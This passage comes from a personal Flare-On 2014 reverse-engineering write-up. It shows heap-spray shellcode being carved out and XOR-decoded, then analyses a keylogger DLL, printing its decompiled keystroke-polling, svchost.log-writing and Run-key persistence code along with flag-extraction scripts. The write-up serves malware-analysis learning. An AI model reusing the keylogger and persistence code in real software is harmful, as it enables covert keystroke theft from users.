    • unescape() converts it into real binary data.
  • It creates a lot of useless repeated data
    • Repeated patterns are added again and again.
    • This fills large parts of computer memory.
  • It mixes junk + malicious code
    • So memory looks like: junk junk junk β†’ malicious code
  • It puts this data many times into memory
    • Hundreds of copies are created.
    • This is called heap spraying.
  • Why it does this
    • Later, when Adobe Reader crashes due to a bug,
      the program may jump to a random memory address.
    • Because memory is full of attacker data,
      it lands on the malicious code.

Carving Next Stage#

  • After some code reading and research i found that string_variable_4 is the var which has next stage shellcode but it is encoded in some format in js so i did research and this is what i found,
  • TheΒ unescape()Β function replaces any escape sequence with the character that it represents. Specifically, it replaces any escape sequence of the formΒ %XXΒ orΒ %uXXXXΒ (whereΒ XΒ represents one hexadecimal digit) with the character that has the hexadecimal valueΒ XX/XXXX. If the escape sequence is not a valid escape sequence (for example, ifΒ %Β is followed by one or no hex digit), it is left as-is.

Pasted image 20260125234050.png

  • So to decode this i used cyberchef, and we have to convert the endianness because it is being written in heap so we will swap it by word length of 8.
  • We will save this as shellcode.bin

Pasted image 20260125233857.png

  • CyberChef Recipe,
[
  { "op": "Find / Replace",
    "args": [{ "option": "Simple string", "string": "%u" }, "", true, false, true, false] },
  { "op": "Swap endianness",
    "args": ["Hex", 2, true] },
  { "op": "From Hex",
    "args": ["Auto"],
    "disabled": true }
]

Stage 2 Analyzing Shellcode#

Initial Triage#

  • File Type: data
  • Size: 1 KB
  • SHA256: 71d7690eaab011871f8e957c354e96baa16ed14ddcf719caf0776917b5eebe2d

Basic Static Analysis#

  • I quickly check VT for this hash and only 1 out of 54 which means this can be obfuscated and some spoofy things,

Pasted image 20260125234637.png

  • For simplicity i used tool flare-floss for intelligent string analysis and here is what i found,
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~]
└─$ /opt/floss shellcode.bin --format sc32

INFO: floss: extracting static strings
finding decoding function features: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 126.37 functions/s, skipped 0 library functions]
INFO: floss.stackstrings: extracting stackstrings from 1 functions
INFO: floss.results: LoadLibraryA
INFO: floss.results: user32
INFO: floss.results: MessageBoxA
INFO: floss.results: OWNED!!!
INFO: floss.results: 2OWNED!!!
INFO: floss.results: OWNE
INFO: floss.results: ExitProcessb
extracting stackstrings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 28.02 functions/s]
INFO: floss.tightstrings: extracting tightstrings from 0 functions...
extracting tightstrings: 0 functions [00:00, ? functions/s]
INFO: floss.string_decoder: decoding strings
decoding strings: 100%|β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 1/1 [00:00<00:00, 85.55 functions/s]
INFO: floss: finished execution after 7.19 seconds
INFO: floss: rendering results


FLARE FLOSS RESULTS (version v3.1.1-0-g3cd3ee6)

.
.
.

 ───────────────────────────
  FLOSS STATIC STRINGS (31)
 ───────────────────────────

+----------------------------------+
| FLOSS STATIC STRINGS: ASCII (31) |
+----------------------------------+

rIF%
xsq}
$~|C
.
.
.
hess
hProchExitT
T$@W


+------------------------------------+
| FLOSS STATIC STRINGS: UTF-16LE (0) |
+------------------------------------+


 ─────────────────────────
  FLOSS STACK STRINGS (7)
 ─────────────────────────

LoadLibraryA
user32
MessageBoxA
OWNED!!!
2OWNED!!!
OWNE
ExitProcessb

 ─────────────────────────
  FLOSS TIGHT STRINGS (0)
 ─────────────────────────
 ───────────────────────────
  FLOSS DECODED STRINGS (0)
  • There are some interesting stack strings,
    • LoadLibraryA : loads required Windows DLLs at runtime
    • MessageBoxA : displays a message box (proof of code execution)
    • ExitProcess : - cleanly terminates the program after execution
  • And some string so we will look that later,

Advance Static Analysis#

  • To analyze this shellcode, i can use cutter so i simply paste shellcode in cutter and analyze the assembly,

Pasted image 20260125235540.png

  • In this disassembler, there are 2 functions, fcn.00000000 and fcn.0000035e,
  • fcn.00000000 looks very large and messy,

Pasted image 20260125235749.png

  • I analyze some part of fcn.00000000 and i found that it is loading some strings in stack for some purpose as we discuss earlier,

![[Learning/DFIR & MARE/Reverse Engineering/Flare-On/2014/images/Pasted image 20260118140837.png]]

  • So i look at the fcn.0000035e function and i found that,
    • It is building encrypted data on the stack and decrypting it in place using XOR, so the real strings only exist in memory at runtime.

Pasted image 20260126001620.png

  • Here is the script that do whole decryption and transformation of hex and convert it to ascii,
# XOR operations
xor_pairs = [
    (0x32fba316, 0x32bece79),
    (0x48cf45ae, 0x2be12bc1),
    (0xd29f3610, 0xfffa4471),
    (0x0ca9a9f7, 0x60cfe984),
    (0x43a993be, 0x3798a3d2),
    (0x3b628a82, 0x4b11a4ef),
    (0xccc047d6, 0xffa469be),
    (0x3154caa3, 0x5265abd4)
]

# Calculate XOR results
xor_results = [val1 ^ val2 for val1, val2 in xor_pairs]
print("XOR Results:", [f"0x{r:08x}" for r in xor_results])

# Combine into single hex string
combined_hex = ''.join([f"{result:08x}" for result in xor_results])
print(f"Combined: {combined_hex}")

# Convert to bytes and reverse
hex_bytes = bytes.fromhex(combined_hex)
reversed_bytes = hex_bytes[::-1]

# Convert to ASCII
output = reversed_bytes.decode('ascii', errors='replace')
print(f"Output: {output}")
β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python decr.py

XOR Results: ['0x00456d6f', '0x632e6e6f', '0x2d657261', '0x6c664073', '0x7431306c', '0x70732e6d', '0x33642e68', '0x63316177']
Combined: 00456d6f632e6e6f2d6572616c6640737431306c70732e6d33642e6863316177
Output: wa1ch.d3m.spl01ts@flare-on.comE
  • Here is the flag using static method,
wa1ch.d3m.spl01ts@flare-on.com

Advance Dynamic Analysis#

0x00000359      call    fcn.0000035e ; fcn.0000035e ;  fcn.0000035e(int64_t arg1)
fcn.0000035e(int64_t arg1);
; arg int64_t arg1 @ rdi
; var int64_t var_65h @ stack - 0x65
; var int64_t var_48h @ stack - 0x48
; var int64_t var_40h @ stack - 0x40
0x0000035e      mov     edx, dword [rsp]
0x00000361      xor     dword [rdx + 0xb], 0x32fba316
0x00000368      push    0x32bece79
0x0000036d      xor     dword [rdx + 0x17], 0x48cf45ae
0x00000374      push    0x2be12bc1
0x00000379      xor     dword [rdx + 0x23], 0xd29f3610
0x00000380      push    0xfffffffffffa4471
0x00000385      xor     dword [rdx + 0x2f], 0xca9a9f7
0x0000038c      push    0x60cfe984
0x00000391      xor     dword [rdx + 0x3b], 0x43a993be
0x00000398      push    0x3798a3d2
0x0000039d      xor     dword [rdx + 0x47], 0x3b628a82
0x000003a4      push    0x4b11a4ef
0x000003a9      xor     dword [rdx + 0x53], 0xccc047d6
0x000003b0      push    0xffffffffffa469be
0x000003b5      xor     dword [rdx + 0x5f], 0x3154caa3
0x000003bc      push    0x5265abd4
0x000003c1      mov     ecx, esp
  • This is how it works,
  • Now you might think that doing XOR first and then push value which is kind of reverse Because,
    • It happens because the shellcode modifies its own instructions in memory.
    • The values you see in push 32BECE79 are encrypted operands.
      • Before that instruction executes, the shellcode does:
xor dword ptr [edx+offset], key
  • This XOR rewrites the PUSH instruction itself in memory.
  • So when execution later reaches that instruction, the CPU fetches the modified bytes, not the original ones.
  • That’s why:
push 32BECE79 β†’ becomes β†’ push 00456D6F

Pasted image 20260126012407.png

Pasted image 20260118140837.png

Flag Extraction#

  • By putting breakpoint on 004013C1 we can see that esp is point to out flag so i do follow in dump for esp and i got the flag.
004013C1 | 8BCC                     | mov ecx,esp                             

Pasted image 20260118140846.png

  • Alon with flag we get those strings also which we got using floss, which are used to prompt a message box with some random text,
0019FF1C   77 61 31 63 68 2E 64 33 6D 2E 73 70 6C 30 31 74  wa1ch.d3m.spl01t
0019FF2C   73 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D 45 00  s@flare-on.comE
0019FF3C   5E 13 40 00 4F 57 4E 45 44 21 21 21 00 00 00 00  ^.@.OWNED
0019FF4C   4D 65 73 73 61 67 65 42 6F 78 41 00 75 73 65 72  MessageBoxA.
0019FF5C   33 32 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41  32..LoadLibraryA
  • Here is out Flag, πŸ˜—
wa1ch.d3m.spl01ts@flare-on.com

Pasted image 20260126013350.png

Challenge 5:#

Stage 1 Analyzing PE File#

Initial Triage#

  • File Type: 5get_it: PE32 executable for MS Windows 5.01 (DLL), Intel i386, 4 sections
  • Size: 99KB
  • SHA256: 2225b6966b9baae11ee5a8412201b30fd72c4a10e92727d92acf5ea6b5df9176

Basic Static Analysis#

  • Just quick VT search,
    • It gives 48/69 hits so it is malicious and marked KeyLogger so maybe some keystroke things will be there,

Pasted image 20260128002927.png

  • Detect it Easy is showing that it is written in C++ and compiled with Visual Studio (2010).
    • Also it is not packed because entropy is nomal,

Pasted image 20260128002704.png

Pasted image 20260128003244.png

  • Now we can analyze this binary with pestudio to get more idea,
  • In-fact, it gives lots of info such as,
    • Our sample is a 32 bit DLL file with entry point address of 0x0000B186 and size of 101376 Bytes.
    • And this binary compiled in 2014.

Pasted image 20260128005416.png

  • Now some silly floss things to see any interesting strings,

    • it quite big and lots things are there so let’s break it down and show you some stuff.
  • As i said previously, this are some keystrokes,

    • And to store them it impersonate the svchost a legit process’s log file which is svchost.log,
[SHIFT]
[RETURN]
[BACKSPACE]
[TAB]
[CTRL]
[DELETE]
[CAPS LOCK]
GetAsyncKeyState
svchost.log
  • It is a Keyboard + file write combo
    • capture keystroke β†’ write to file β†’ flush.
GetAsyncKeyState
WriteFile
CreateFileA/W
FlushFileBuffers
SetFilePointer
  • Some registry keys used to do persistence with it’s related Windows APIs,
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
SOFTWARE\Microsoft\Windows\CurrentVersion\Run
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyA
  • Something with DLL stuff,
    • It referencesΒ c:\windows\system32\svchost.dllΒ andΒ svchost.logΒ but there is no such file (Windows hasΒ svchost.exeΒ in that location).
    • There is alsoΒ c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll which means this file is most probably a DLL and should be executed like that.
    • There are no parameters, so whatever this DLL is doing should be inΒ DllMain.
c:\windows\system32\svchost.dll
c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dll
  • Windows APIs related to Anti-Analysis Technique,
IsDebuggerPresent
Sleep
QueryPerformanceCounter
  • Finally, FLOSS decoded strings,
Courier New
DDNDNNNNDND
.
.
.
FLARE ON!
  • So only based on these basic analysis, we take overview of malware that how it could behave which helps us in advance analysis.

Advance Static Analysis#

  • Now Buckle down because we jumping into IDA for some low level stuff,
  • As i said previously, there is only one export which is DLLEntryPoint,
  • The Windows loader calls the DLL’s entry point defined in the PE Optional Header, which in MSVC-built DLLs is typically DllMainCRTStartup (often labeled as DLLEntryPoint by IDA).
  • And this DllMainCRTStartup will call DLLMain.
Here is the flow,
----------------------
Windows Loader
   ↓
AddressOfEntryPoint
   ↓
__DllMainCRTStartup
   ↓
DllMain
----------------------

More Technically it do these process,

ntdll!LdrLoadDll
    ↓
ntdll!LdrpCallInitRoutine
    ↓
PE.OptionalHeader.AddressOfEntryPoint
    ↓
__DllMainCRTStartup   ← CRT
    ↓
DllMain               ← user code

  • Here is the crux explanation,
    • When a DLL is loaded, ntdll!LdrLoadDll maps it into memory, LdrpCallInitRoutine decides initialization, the loader jumps to the PE’s AddressOfEntryPoint (usually __DllMainCRTStartup), which initializes the C runtime (TLS, heap, SEH, globals) and finally calls the user-defined DllMain under the loader lock.

Pasted image 20260128010732.png

  • Here is the DLLMain Called,

Pasted image 20260128012223.png

  • Now this DLLMain is calling other bunch of other functions,
  • Here is function tree,
    • sub_1000A570() - Doing Persistence by adding key in Registry
    • sub_1000A610() - Checking the Key already present of not
    • sub_1000AD77() - nothing important..
    • sub_1000A4C0() - Just adding some noise to delay the process
      • sub_10009EB0 - Switch Case with all ASCII Chars
        • sub_10009AF0() - Case of Char β€˜M’
          • sub_10009AF0() - Hidden Function
      • sub_10001000

Pasted image 20260128013233.png

sub_1000A570 function,#

  • First i analyzed the sub_1000A570 function,

Pasted image 20260128013550.png

  • Inside the function we encounterΒ RegOpenKeyExΒ that opens a registry key.
  • Full registry key is a combination ofΒ hKeyΒ andΒ lpSubKey.Β hKeyΒ can be one of theΒ predefined keys.
  • The constants for the predefined keys needed a bit of googling because the MSDN page didn’t list them. Here they are:
| Key                 | Constant |
|---------------------|----------|
| HKEY_CLASSES_ROOT   |    0     |
| HKEY_CURRENT_USER   |    1     |
| HKEY_LOCAL_MACHINE  |    2     |
| HKEY_USERS          |    3     |
| HKEY_CURRENT_CONFIG |    5     |
v3 = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 1u, &phkResult);
  • Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegOpenKeyExA(
  [in]           HKEY   hKey,        // HKEY_LOCAL_MACHINE (0x80000002)
  [in, optional] LPCSTR lpSubKey,     // "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
  [in]           DWORD  ulOptions,    // 0
  [in]           REGSAM samDesired,   // KEY_QUERY_VALUE (0x0001)
  [out]          PHKEY  phkResult     // &phkResult
);

  • So if we move further,
  • If function succeeds it will returnΒ ERROR_SUCCESSΒ which is 0 according toΒ this page, otherwise it will return another error code.
  • db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 in .rdata section.
  • The binary will check if it has access to registry at that path.
  • If so then the return value (in eax) will be 0 and it will jump right (JZ will succeed).

Pasted image 20260128015409.png

v3 = RegQueryValueExA(phkResult, "svchost", 0, 0, Data, &cbData);
  • Here is the arguments and if we map with MSDN function then it looks like this,
LSTATUS RegQueryValueExA(
  [in]                HKEY    hKey,        // phkResult
  [in, optional]      LPCSTR  lpValueName, // "svchost"
                      LPDWORD lpReserved,  // 0
  [out, optional]     LPDWORD lpType,      // 0
  [out, optional]     LPBYTE  lpData,      // Data
  [in, out, optional] LPDWORD lpcbData     // &cbData
);
  • RegQueryValueExΒ checks if there is a registry key at an open path.
  • It is looking for a registry key namedΒ svchostΒ at that path. If such key exists, function will return 0.
  • In this case, it returned 2 which stands forΒ ERROR_FILE_NOT_FOUNDΒ meaning there was no such key.
  • Then it will callΒ RegCloseKeyΒ and closes the open registry path. This function’s return value is saved inΒ var_110Β (we will need it later):
|           Condition          |         Return Value          |
|------------------------------|-------------------------------|
|Registry key cannot be opened |               1               |
|Registry key does not exist   |               2               |
|Registry key exists           | 1000A6BB or DllMain(x,x,x)+3B |
  • This DLL is self-installing malware that checks whether it already has persistence, installed itself if not, disguises itself as svchost, registers itself to run at every system startup via the Windows Run registry key, executes itself using rundll32, hides its console, and then enters an infinite loop performing its main malicious activity.
  • Now it calls sub_1000A610,

sub_1000A610 function,#

  • Now this sub_1000A610 similar as previous and here is pseudocode,
int __cdecl sub_1000A610(BYTE *lpData)
{
  size_t v1; // eax
  HKEY phkResult[2]; // [esp+4h] [ebp-8h] BYREF

  if ( RegCreateKeyA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", phkResult) )
    return 1;
  v1 = strlen((const char *)lpData);
  RegSetValueExA(phkResult[0], "svchost", 0, 1u, lpData, v1);
  phkResult[1] = 0;
  return 0;
}

Pasted image 20260128020153.png

  • We see that it is callingΒ GetModuleHandleExΒ forΒ sub_1000A610Β and checks the return value .
  • The return value forΒ GetModuleHandleExΒ will be non-zero, otherwise it will be zero. If call was not successful then last error will be printed to file.

Pasted image 20260128020523.png

Pasted image 20260128020624.png

  • IfΒ GetModuleHandleExΒ was successful it will land here.Β 
  • GetModuleFileNameΒ is called which will return the full path for the specified module inΒ hModule.
  • In this case, the binary retrieves its own path and saves it inΒ [ebp+Filename].in return value ofΒ sub_1000A570Β is compared with 2.
  • If registry key did not exist, we will continue.
  • We have already seen the strings being loaded.
  • ThenΒ CopyFileAΒ is called to copy itself toΒ c:\\windows\\system32\\svchost.dll.
  • It c:\windows\system32\rundll32.exe c:\windows\system32\svchost.dllΒ to the stack and callsΒ sub_1000A610Β .
  • Based on this string and checking for existence of the registry key we can guess what is going to happen in this function.
  • Inside this function we see thatΒ RegCreateKeyΒ to openΒ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. If the key does not exist, it will create it.
  • If call was successful, execution continues.
  • It is adding a new registry key namedΒ svchostΒ to that path with the specified value. Then function will return with the result value of RegSetValueEx.
  • If it was successful, it will be 0.
  • The Dll copied itself to system32 and it will run every time Windows starts.

sub_1000A4C0 Function#

  • Runs forever and repeatedly performs random‑count tasks using data returned by another function, with artificial delays and memory allocation used mainly for noise / evasion.
  • In short just not usefull.
void __noreturn sub_1000A4C0()
{
  char *Buffer; // [esp+0h] [ebp-14h]
  int v1; // [esp+4h] [ebp-10h]
  void *v2; // [esp+8h] [ebp-Ch]
  __int16 v3; // [esp+Ch] [ebp-8h]

  while ( 1 )
  {
    v1 = rand() % 200 + 50;
    v2 = malloc(15 * v1);
    memset(v2, 0, 15 * v1);
    Sleep(0xAu);
    v3 = 0;
    while ( v3 < v1 )
    {
      Sleep(0xAu);
      Buffer = (char *)sub_10009EB0();
      if ( Buffer )
      {
        sub_10001000(Buffer);
        ++v3;
      }
    }
  }
}
sub_10009EB0 function,#

Pasted image 20260128021925.png

  • This loop is Scanning all keyboard keys to detect which key is pressed.
  • Loops through all virtual key codes from 8 to 222 and stops when it finds which key the user pressed.
  • A classic keylogger polling logic.
  • Here is mapping table of keystrokes and value,
SHORT GetAsyncKeyState(
  [in] int vKey // The virtual-key code
);
VK (Virtual key codes)Value
VK_BACK8
VK_TAB9
VK_RETURN13
VK_SHIFT16
VK_CONTROL17
VK_MENU (Alt)18
VK_ESCAPE27
’A’ - β€˜Z’ or β€˜a’ - β€˜z’65–90
F1–F12112–123
for ( i = 8; ; ++i )
{
	if ( i > 222 )
	  return 0;
	if ( GetAsyncKeyState(i) == 0xFFFF8001 )
	  break;
	  .
	  .
	  .
  • After getting that pressed key, we just pass it to switch case which will further call some functions,
  • And those functions are nothing but just a wrapper which return same character,

Pasted image 20260128022927.png

Pasted image 20260128023043.png

  • if given input is NOT a normal character then it goes to 2nd switch case,

Pasted image 20260128023400.png

v1 = i - 8;
switch (i)
{
	case 8:
	....
	case 190:
}
  • Final crux of this function,
  • And one importent thing,
    • This function is a keystroke dispatcher, not a string collector.
    • It means this whole process happens for one char only and function return and execution goes to next function which is sub_10001000(Buffer);,
wait until user presses a key

if key is a letter/number/symbol:
    return that character
else if key is Enter / Backspace / Space / Shift:
    handle that action
else:
    ignore and keep waiting
sub_10001000 function#
  • Writes the received character into a file called svchost.log.
  • And this whole process happens with that sub_1000A4C0 function sleep time or just delay to make it stealth.
int __cdecl sub_10001000(char *Buffer)
{
  FILE *Stream; // [esp+0h] [ebp-4h]

  for ( Stream = 0; !Stream; Stream = fopen("svchost.log", "a+") )
    Sleep(0xAu);
  fputs(Buffer, Stream);
  fclose(Stream);
  return 1;
}
  • Now what about flag,
  • Here is some puzzle thing,
    • This function is for char β€˜M’ and it has hidden logic,
    • sub_10001240 hidden function

Pasted image 20260128234520.png

Pasted image 20260128234632.png

const char *sub_10009AF0()
{
  if ( dword_100194FC > 0 )
  {
    _cfltcvt_init();
    sub_10001240();
  }
  return "m";
}
  • now this sub_10001240() is just printing banner with some cools ascii art,
INT_PTR sub_10001240()
{
  HINSTANCE WindowLongA; // [esp+0h] [ebp-1590h]
  wchar_t v2[12]; // [esp+4h] [ebp-158Ch] BYREF
  HWND hWnd; // [esp+1Ch] [ebp-1574h]
  wchar_t v4[2728]; // [esp+20h] [ebp-1570h] BYREF
  LPARAM dwInitParam; // [esp+1570h] [ebp-20h]
  HINSTANCE hInstance; // [esp+1574h] [ebp-1Ch]
  wchar_t Source[10]; // [esp+1578h] [ebp-18h] BYREF

  hWnd = 0;
  dwInitParam = 0;
  wcscpy(v2, L"Courier New");
  wcscpy(Source, L"FLARE ON!");
  wcscpy(
    v4,
    L"_______________________________________________NDD__________________________________________________\n"
     "______________________________________________DDDDD_________________________________________________\n"
     "______________________________________________DDDDDN________________________________________________\n"
     "_____________________________________________DDDDDDD________________________________________________\n"
     "NNNNNNNNDDN________DNNN_____________________NDDDDDDDD_______________NNNNNNNNDN__________DNNNNNNNNNNN\n"
     "DDDDDDDDDDD________NDDD____________________NDDDDDDDDDN______________DDDDDDDDDDDD________DDDDDDDDDDDD\n"
     "DDDDDDDDDDD________NDDD____________________NDDDDDDDDDD______________DDDDDDDDDDDDN_______NDDDDDDDDDDD\n"
     "DDDD_______________DDDD___________________NDDDDDDDDDDDD_____________DDDD_____NDDD_______DDDD________\n"
     "DDDD_______________DDDD__________________DDDDDDD_DDDDDDN____________DDDD_____DDDD_______DDDD________\n"
     "DDDDDDDDDD_________DDDD__________________NDDDDD___DDDDDDN___________DDDDDNNNNDDDN_______DDDDDDDDDD__\n"
     "DDDDDDDDDD_________DDDD_________________DDDDDDN___DNDDDDD___________DDDDDDDDDDD_________DDDDDDDDDD__\n"
     "DDDD_______________DDDD________________DDDDDDD_____DDDDDDD__________DDDD__DDDD__________DDDD________\n"
     "DDDD_______________DDDD_______________DDDDDDD_______DDDDDDD_________DDDD__NNDDD_________DDDD________\n"
     "DDDD_______________DDDDNNNNNN_________NDDDDDN_______NDDDDDD_________DDDD___DDDDN________DDDDNNNNNNNN\n"
     "DDDD_______________DDDDDDDDDDD_______NDDDDDD_________NDDDDDD________DDDD____DDDD________DDDDDDDDDDDD\n"
     "DDDN_______________DDDDDDDDDDN______NDDDDDDDDDDDDDDD__DDDDDDD_______NDDD_____DDDD_______DDDDDDDDDDDN\n"
     "____________________________________DDDDDDDDDDDDDDDN___DDDDDDN______________________________________\n"
     "___________________________________DDDDDDDDDDDDDDD_____DDDDDDD______________________________________\n"
     "__________________________________DDDDDDDDDDDDDDN_______DDDDDDD_____________________________________\n"
     "________________________________________NDDDDDN_____________________________________________________\n"
     "_______________________________________DNDDDDN______________________________________________________\n"
     "_______________________________________DDDDD________________________________________________________\n"
     "______________________________________DDDDD_________________________________________________________\n"
     "_____________________________________DDDDD__________________________________________________________\n"
     "_____________________________________NDD____________________________________________________________\n"
     "____________________________________NDD_____________________________________________________________\n"
     "___________________________________DD_______________________________________________________________\n");
  wcscpy(&Destination, Source);
  wcscpy(&word_10017034, v2);
  wcscpy(&word_10017062, v4);
  if ( hWnd )
    WindowLongA = (HINSTANCE)GetWindowLongA(hWnd, -6);
  else
    WindowLongA = GetModuleHandleA(0);
  hInstance = WindowLongA;
  return DialogBoxIndirectParamW(WindowLongA, &hDialogTemplate, hWnd, DialogFunc, dwInitParam);
}
  • But again it doesn’t have flag so i looks up little bit and here is what i understand,
    • This program pretends to be a keylogger, but it is actually a flag puzzle.
    • There is NO place where the flag exists as a string.
    • The flag is never stored.
    • The flag is never assembled.
    • The flag exists only as logic.
  • Under the hood:
    • Each key has its own function
    • Each function returns one small string
    • "a"
    • "m"
    • "dot"
    • "at"
  • Some functions also set hidden memory flags
  • Those memory flags are the real secret.
  • Here are those variables,

Pasted image 20260128235204.png

  • THE TRICK
    • You are NOT supposed to type the flag.
    • Typing is a decoy.
  • The real flag is determined by:
    • which functions set those dword flags
    • and the order of those flags
  • I know it looks weird and tricky, but I also find it very difficult, so this is my understanding.
  • So to do this i referred one python script by xbyte, so credit goes to him.
  • Here is the script,
#!/usr/bin/env python3

import r2pipe
import os

keys = [
    "0x10017000","0x10019460","0x10019464","0x10019468","0x1001946c",
    "0x10019470","0x10019474","0x10019478","0x1001947c","0x10019480",
    "0x10019484","0x10019488","0x1001948c","0x10019490","0x10019494",
    "0x10019498","0x1001949c","0x100194a0","0x100194a4","0x100194a8",
    "0x100194ac","0x100194b0","0x100194b4","0x100194b8","0x100194bc",
    "0x100194c0","0x100194c4","0x100194c8","0x100194cc","0x100194d0",
    "0x100194d4","0x100194d8","0x100194dc","0x100194e0","0x100194e4",
    "0x100194e8","0x100194ec","0x100194f0","0x100194f4","0x100194f8",
    "0x100194fc","0x10019500"
]

flag = ""

if os.path.isfile("5get_it.dll"):

    r2 = r2pipe.open("5get_it.dll")
    r2.cmd("aaaa")

    for key in keys:
        xrefs = r2.cmdj("axtj " + key)
        if not xrefs:
            continue

        for xref in xrefs:
            if xref.get("opcode") == f"mov dword [{key}], 1":

                fcn_called = r2.cmdj("pdfj@" + xref["fcn_name"])
                if not fcn_called:
                    continue

                for op in fcn_called.get("ops", []):
                    dis = op.get("disasm", "")
                    if "mov eax, 0x100" in dis:
                        addr = dis.split(",")[1].strip()
                        ch = r2.cmd(f"pr 1 @ {addr}")
                        flag += ch.strip()

    r2.quit()

replacements = {
    "dot": ".",
    "dash": "-",
    "at": "@"
}

for k, v in replacements.items():
    flag = flag.replace(k, v)

print(flag)

β”Œβ”€β”€(b14ckyγ‰ΏDESKTOP-VRSQRAJ)-[~/]
└─$ python flag.py
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Scanning for strings constructed in code (/azs)
INFO: Finding function preludes (aap)
INFO: Enable anal.types.constraint for experimental type propagation
l0gging.ur.5tr0ke5@flare-on.co
  • Here is the falg,
l0gging.ur.5tr0ke5@flare-on.co

Challenge 6:#

Stage 1 ELF Analysis#

Initial Triage#

  • File Type: e7bc5d2c0cf4480348f5504196561297: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=c65164a247cb0c44cab89c0fc06980bf6c082011, stripped
  • Size: 1.16 MB
  • SHA256: 3487e1de75bcb6f2c1425ca4f9b5da8fb66387343bf4a217c5a5cf93c79f0d9d

Basic Static Analysis#

  • Just quick VT search,
    • It gives 0/69 hits so it is very weird so we will do some analysis on it,

Pasted image 20260129104603.png

